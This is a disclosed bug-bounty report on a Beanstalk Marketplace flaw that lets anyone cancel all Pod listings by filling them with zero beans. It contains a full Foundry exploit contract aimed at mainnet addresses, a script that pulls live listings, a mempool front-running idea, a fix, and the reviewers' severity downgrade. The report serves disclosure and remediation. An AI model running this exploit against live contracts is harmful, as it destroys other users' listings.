Marketplace subject to sustained cancellation of all Pod listings
Report ID
#12707
Target
Report type
Smart Contract
Impacts
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Has PoC?
Yes
Bug Description
The Marketplace UI leverages the farm(bytes[]) to help facilitate fulfillment of listings. This process includes invocations to WrapEth -> Wrap which will fail if the currency being supplied is 0.
However, one can just call fillPodListing() directly without any allowance for bean tokens and setting the beanAmount parameter to zero(0). In this case, the:
amount = receiveToken(token, amount, msg.sender, fromMode);value of amount will be zero(0).
Then in function __fillListing():
if (l.amount > amount)
s.podListings[l.index.add(amount).add(l.start)] = hashListing(
0,
l.amount.sub(amount),
l.pricePerPod,
l.maxHarvestableIndex,
l.mode
);
emit PodListingFilled(l.account, to, l.index, l.start, amount);
delete s.podListings[l.index];- In the case where start =0 (and amount is 0), it will create
s.podListings[l.index.add(0).add(0)]which is basically the original listing s.podListings[l.index].
and then it deletes the listing after the emit.
So the user's listing is cancelled and the attacker (who invoked PodListingFilled) didn't have to pay any beans (just gas).
- In the case where start!=0 (and amount is 0):
s.podListings[l.index.add(0).add(l.start)]will be created, and the value of start will be set to 0. In this case the attacker will have to call fillPodListing() on this new order once more so that is is fully cancelled (per the logic in step 1 above).
In this manner, an attacker can go through all the active marketplace pod listings and cancel them repeatedly until the smart contract logic is corrected.
Impact
The impact of this is critical for the following reasons:
- Attackers can cancel all Marketplace orders in one swoop and keep cancelling all orders in a sustained fashion.
- Attacker cancellation of all listings will create hundreds of confusing event emissions (PodListingFilled, PlotTransfer) with amount and pod values set to 0. This can confuse the Marketplace UI and also other users/parties that do not expect 0 amount events causing in discrepancy in business analytics intelligence.
- Sustained cancellation of all orders can render the liquidity value provided by the Marketplace useless, causing investors to exit.
- In case of 3., high likelihood of a disabled marketplace due to a smart contract bug gaining public attention.
Risk Breakdown
Difficulty to Exploit: Easy Weakness: CVSS2 Score:
Recommendation
In fillPodListing, revert immediately if beanAmount == 0. Furthermore, revert after call to LibTransfer.transferToken and before call to _fillListing if beanAmount ==0. And also again after call to roundAmount in _fillListing.
Alternatively, or in addition, require amount !=0 the first thing in __fillListing()
References
Thank you to the Beanstalk team for such clear and detailed documentation. It helps Whitehats maximize our efforts.
Proof of concept
The following is a PoC that is in the form of a forge/foundry test contract.
The test case testCancelAllLoop() cancels all orders through separate transactions (an attacker can deploy as a smart contract that accepts listing calldata from offchain). This test case generates useful traces since every cancellation is visible.
The testCancelAllFarm() builds up the raw transaction data for each of the cancellations and then funnels them via Farm().
The testFailBuyListingBeforeCancelAll() test case shows that if a listing is purchased, then then all the listings are attempted to be cancelled the CancelAll will fail as expected.
Conversely, the testFailBuyListingAfterCancelAll() test case shows that after cancelling all orders via the exploit method illustrated in this report, a purchase of any listing will fail since the listing will be cancelled.
BEGIN BeanstalkExploit.t.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "openzeppelin-contracts/token/ERC20/IERC20.sol";
import "lib/openzeppelin-contracts/contracts/utils/Strings.sol";
//exploit test cases to cancell all orders in Beanstalk marketplace
//uses hard coded payloads to make it easy to print raw payload data
//to use with other simulation tools
struct jsonListing {
address account;
uint256 amount;
uint256 index;
uint256 maxHarvestableIndex;
uint8 mode;
uint24 pricePerPod;
uint256 start;
}
struct jsonListingTemp {
address account;
string amount;
string index;
string maxHarvestableIndex;
string mode;
string pricePerPod;
string start;
}
struct PodListing {
address account;
uint256 index;
uint256 start;
uint256 amount;
uint24 pricePerPod;
uint256 maxHarvestableIndex;
uint8 mode;
}
library LibTransfer {
enum From {
EXTERNAL,
INTERNAL,
EXTERNAL_INTERNAL,
INTERNAL_TOLERANT
}
enum To {
EXTERNAL,
INTERNAL
}
}
interface IBeanstalk {
function harvestableIndex() external returns (uint256);
function transferToken(
IERC20 token,
address recipient,
uint256 amount,
LibTransfer.From fromMode,
LibTransfer.To toMode
) external payable;
}
contract BeanstalkExploit is Test {
using stdJson for string;
bool result;
bool loaded = false;
jsonListing[] jsonmain;
uint256 nonZeroStarts = 0;
IERC20 beans = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
address beanstalkaddress = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
IBeanstalk beanstalk = IBeanstalk(beanstalkaddress);
uint256 p_key = 1;
address myaddress;
uint256 x = 0;
function setUp() public {
myaddress = vm.addr(p_key);
}
//this will cancel all listings using a for loop and sending
//a transaction each for evert listing
function testCancelAllLoop() public {
cancelAll(false);
}
//this will cancel all listings by collecting all the fillPodListing
//payloads into bytes[] and execute via farm(bytes[])
function testCancelAllFarm() public {
cancelAll(true);
}
//note in foundry the test will 'pass' if it 'reverts' when the
//Fail keyword is used, illustrating our assumptions are true
//that cancell all listings will fail if it includes a purchased
//item
function testFailBuyListingBeforeCancelAll() public {
loadAllListings();
//buy the listing [2] with some BEANS
console2.log("Buying first, cancelAll should fail ie [PASS]");
purchaseIt(2, false);
//cancelAll should revert at 3rd listing
//since it contains an entry we cancelled
//not using farm() since the trace per transction is useful
cancelAll(false);
}
function testFailBuyListingAfterCancelAll() public {
loadAllListings();
//not using farm() since the trace per transction is useful
cancelAll(false);
//buy the listing [2] with some BEANS
//should fail since all orders are cancelled!
//so our test will 'pass'
console2.log(
"\nbuying after cancelling via exploit, should fail ie [PASS]"
);
purchaseIt(2, false);
}
function cancelAll(bool usefarm) internal {
loadAllListings();
uint256 i = 0;
uint256 j = 0;
uint256 counter = 0;
//we calculate size for farmpayloads by adding the amount of orders
//to the amount of orders that did not have start=0 (counter nonZeroStarts
//captured by loadAllListings(). This is because for the start!=0 listings,
//there is a new order creaed where start=0, so we want to call
//fillPodListing() on them again to truly cancel them
bytes[] memory farmpayloads = new bytes[](
jsonmain.length + nonZeroStarts
);
bytes memory mypayload;
PodListing memory purchaselisting;
//go through all the listings and cancel them
for (i = 0; i < jsonmain.length; i++) {
purchaselisting = PodListing(
jsonmain[i].account,
jsonmain[i].index,
jsonmain[i].start,
jsonmain[i].amount,
jsonmain[i].pricePerPod,
jsonmain[i].maxHarvestableIndex,
jsonmain[i].mode
);
mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
0,
LibTransfer.From.EXTERNAL
);
if (usefarm == true) {
farmpayloads[i] = mypayload;
} else {
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
counter++;
//fillPodListing one more time for order that did not have start=0
if (purchaselisting.start != 0) {
purchaselisting.index =
purchaselisting.index +
purchaselisting.start;
purchaselisting.start = 0;
jsonmain[i].index = purchaselisting.index;
jsonmain[i].start = 0;
mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
0,
LibTransfer.From.INTERNAL_TOLERANT
);
if (usefarm == true) {
farmpayloads[jsonmain.length + j] = mypayload;
} else {
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
counter++;
j++;
}
//break;
}
//cancel order through bytes[] paylaod send via farm(bytes[])
if (usefarm == true) {
mypayload = abi.encodeWithSignature("farm(bytes[])", farmpayloads);
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
}
console2.log("Total Listings cancelled:", i);
console2.log("Listings with start!=0", j);
console2.log("Total times fillPodListing() called", counter);
}
//fetch all listings from https://graph.node.bean.money/subgraphs/name/beanstalk
//and have them loded into jsonmain[]
//the graphql endpoint is convenient, but of course, not a dependency for the
//attacker. alternatively, the attacker can listen for events and collect it
//or leverage services like dune.com
function loadAllListings() internal {
if (loaded == true) return;
loaded = true;
uint256 maxindex = beanstalk.harvestableIndex();
string[] memory inputs = new string[](3);
inputs[0] = "node";
inputs[1] = "listings.js";
inputs[2] = Strings.toString(maxindex);
//comment and diable vm.ffi below if you have a ./listings.json
//and don't want to fetch again
vm.ffi(inputs);
string memory jsonfile = vm.readFile("./listings.json");
bytes memory json = vm.parseJson(jsonfile);
jsonListingTemp[] memory jsontemp;
jsontemp = abi.decode(json, (jsonListingTemp[]));
//from memory to storage ie from jsontemp (memory)
//to jsonmain[] so other functions can continue to leverage
//loaded listings
for (uint256 i = 0; i < jsontemp.length; i++) {
jsonListing storage t = jsonmain.push();
t.account = jsontemp[i].account;
t.amount = strToUint(jsontemp[i].amount);
t.index = strToUint(jsontemp[i].index);
t.maxHarvestableIndex = strToUint(jsontemp[i].maxHarvestableIndex);
t.mode = uint8(strToUint(jsontemp[i].mode));
t.pricePerPod = uint24(strToUint(jsontemp[i].pricePerPod));
t.start = strToUint(jsontemp[i].start);
if (t.start != 0) nonZeroStarts++;
}
}
function purchaseIt(uint256 index, bool zero) internal {
vm.startPrank(myaddress);
loadAllListings();
PodListing memory purchaselisting = PodListing(
jsonmain[index].account,
jsonmain[index].index,
jsonmain[index].start,
jsonmain[index].amount,
jsonmain[index].pricePerPod,
jsonmain[index].maxHarvestableIndex,
jsonmain[index].mode
);
if (zero == false) {
//built in deal() doesn't work on bean beacuse of
//internal accounting so we will just get it from
//the main contract instead
vm.stopPrank();
//from https://etherscan.io/token/0xbea0000029ad1c77d3d5d23ba2d8893db9d1efab#balances
address tokenholder = 0x40Da1406EeB71083290e2e068926F5FC8D8e0264;
vm.startPrank(tokenholder);
beanstalk.transferToken(
beans,
myaddress,
beans.balanceOf(tokenholder),
LibTransfer.From.EXTERNAL,
LibTransfer.To.EXTERNAL
);
vm.stopPrank();
vm.startPrank(myaddress);
beans.approve(beanstalkaddress, 2**256 - 1);
}
bytes memory mypayload = abi.encodeWithSignature(
"fillPodListing((address,uint256,uint256,uint256,uint24,uint256,uint8),uint256,uint8)",
purchaselisting,
beans.balanceOf(myaddress),
LibTransfer.From.EXTERNAL_INTERNAL
);
//console2.log(vm.toString(mypayload));
(result, ) = beanstalkaddress.call(mypayload);
if (result == false) revert();
vm.stopPrank();
}
function strToUint(string memory _str) public pure returns (uint256 res) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10**(bytes(_str).length - i - 1);
}
return (res);
}
receive() external payable {
//console2.log("receive");
}
fallback() external payable {
//console2.log("fallback");
}
}END BeanstalkExploit.t.sol
Accompanying helper Typescript script: (alternatively just fetch the listings from https://graph.node.bean.money/subgraphs/name/beanstalk and put them in ./listings.js and comment out the vm.ffi call in the foundry test contract). BEGIN listings.ts
import { BigNumber } from "ethers";
var fs = require('fs');
const maxindex = (process.argv.slice(2)[0]).toString();
const query = `{"operationName":"AllPodListings","variables":{"first":1000,"status":"ACTIVE","maxHarvestableIndex":"${maxindex}"},"query":"query AllPodListings($first: Int = 1000, $status: MarketStatus = ACTIVE, $maxHarvestableIndex: BigInt!) {\\n podListings(\\n first: $first\\n where: {status: $status, maxHarvestableIndex_gt: $maxHarvestableIndex, remainingAmount_gt: \\"100000\\"}\\n orderBy: index\\n orderDirection: asc\\n ) {\\n ...PodListing\\n __typename\\n }\\n}\\n\\nfragment PodListing on PodListing {\\n id\\n index\\n createdAt\\n updatedAt\\n status\\n originalIndex\\n amount\\n totalAmount\\n remainingAmount\\n start\\n pricePerPod\\n maxHarvestableIndex\\n mode\\n __typename\\n}"}`;
process.removeAllListeners('warning');
async function doIt()
{
const response = await fetch("https://graph.node.bean.money/subgraphs/name/beanstalk", {
method: 'POST',
body: query,
headers: { 'Content-Type': 'application/json' }
});
if (!response.ok)
{
console.log(JSON.stringify(response));
}
const result = await response.json();
const listings = result.data.podListings;
interface Payload
{
account: string,
amount: string,
index: string,
maxHarvestableIndex: string,
mode: string,
pricePerPod: string,
start: string,
}
let payload: Payload[] = [];
let i = 0;
for (i = 0; i < listings.length; i++)
{
payload.push({
account: String(listings[i].id).substring(0, 42),
amount: listings[i].amount,
index: listings[i].index,
maxHarvestableIndex: listings[i].maxHarvestableIndex,
mode: listings[i].mode.toString(),
pricePerPod: listings[i].pricePerPod.toString(),
start: listings[i].start
}
);
}
const finalpayload = {
data: payload
}
console.log(JSON.stringify(finalpayload));
fs.writeFileSync('./listings.json', JSON.stringify(payload), (err: any) =>
{
if (err)
{
console.log('Error writing file', err)
}
})
console.log(payload.length);
}
doIt().then(() => process.exit(0));END listings.ts
Extra permissions needed in foundry.toml:
ffi = true
fs_permissions = [{ access = "read", path = "./"}]Correction. In the forge/foundry example if you wish to provide ./listings.json they have to be in following example format since the foundry json interpreter is very fragile. Thank you.
Example ./listings.json payload:
{
"account": "0xbfe4ec1b5906d4be89c3f6942d1c6b04b19de79e",
"amount": "10000000000",
"index": "61638545548819",
"maxHarvestableIndex": "57656522076543",
"mode": "1",
"pricePerPod": "850000",
"start": "0"
}Below is the code version of the Recommendations (i.e. 'fix') above:
function fillPodListing(
PodListing calldata l,
uint256 beanAmount,
LibTransfer.From mode
) external {
require(beanAmount>0);
beanAmount = LibTransfer.transferToken(
C.bean(),
l.account,
beanAmount,
mode,
l.mode
);
require(beanAmount>0);
_fillListing(l, beanAmount);
}
----
function _fillListing(PodListing calldata l, uint256 beanAmount) internal {
bytes32 lHash = hashListing(
l.start,
l.amount,
l.pricePerPod,
l.maxHarvestableIndex,
l.mode
);
require(
s.podListings[l.index] == lHash,
"Marketplace: Listing does not exist."
);
uint256 plotSize = s.a[l.account].field.plots[l.index];
require(
plotSize >= (l.start + l.amount) && l.amount > 0,
"Marketplace: Invalid Plot/Amount."
);
require(
s.f.harvestable <= l.maxHarvestableIndex,
"Marketplace: Listing has expired."
);
uint256 amount = beanAmount.mul(1000000).div(l.pricePerPod);
amount = roundAmount(l, amount);
require(amount>0);
__fillListing(msg.sender, l, amount);
_transferPlot(l.account, msg.sender, l.index, l.start, amount);
}
---
function __fillListing(
address to,
PodListing calldata l,
uint256 amount
) private {
require(amount>0);
// Note: If l.amount < amount, the function roundAmount will revert
if (l.amount > amount)
s.podListings[l.index.add(amount).add(l.start)] = hashListing(
0,
l.amount.sub(amount),
l.pricePerPod,
l.maxHarvestableIndex,
l.mode
);
emit PodListingFilled(l.account, to, l.index, l.start, amount);
delete s.podListings[l.index];
}Quick addendum:
- Additional relevant exploit scenario: attacker cancels all listings, and then continues to watch the mempool - when a createpodlisting it submitted into the pool, it issues fillpodlisting transaction with the conditions described in this report onto the same block, to render the listing dead on arrival.
- When the mode supplied is INTERNAL_TOLERANT, the beanAmount can be > 0. The code fix suggestion provided above still catches this since it checks for the return value of LibTransfer.transferToken will be 0 and there is a require(beanAmount>0); right afterwards proposed in the fix.
BIR-1: Pod Listing Cancellation
BIC Response
Thank you for submitting this vulnerability to us.
The BIC has reviewed your submission and a fix is currently in review by Halborn.
Changing the severity of this bug report from Critical to Medium. The BIC has determined that the bug report does not apply to the Critical Impacts in scope:
- Any governance voting manipulation;
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield; and
- Permanent freezing funds.
The Impact of the bug report is best categorized as griefing, which is listed under Medium Impacts in scope.
Based on our bounty page, this submission ( Smart Contract - Medium ) comes with a reward of between $1,000 and $10,000, to be paid in Beans. The Beanstalk Immunefi Committee (BIC) has determined that this particular bug report be rewarded 7,500 Beans.
Halborn Response
Yes, the finding is legit. However, given that this bug would not allow any attacker to steal any funds from users and it is only a form of griefing, we believe that this bug should be marked asMediumWe've been able to reproduce the issue in our forked environment:
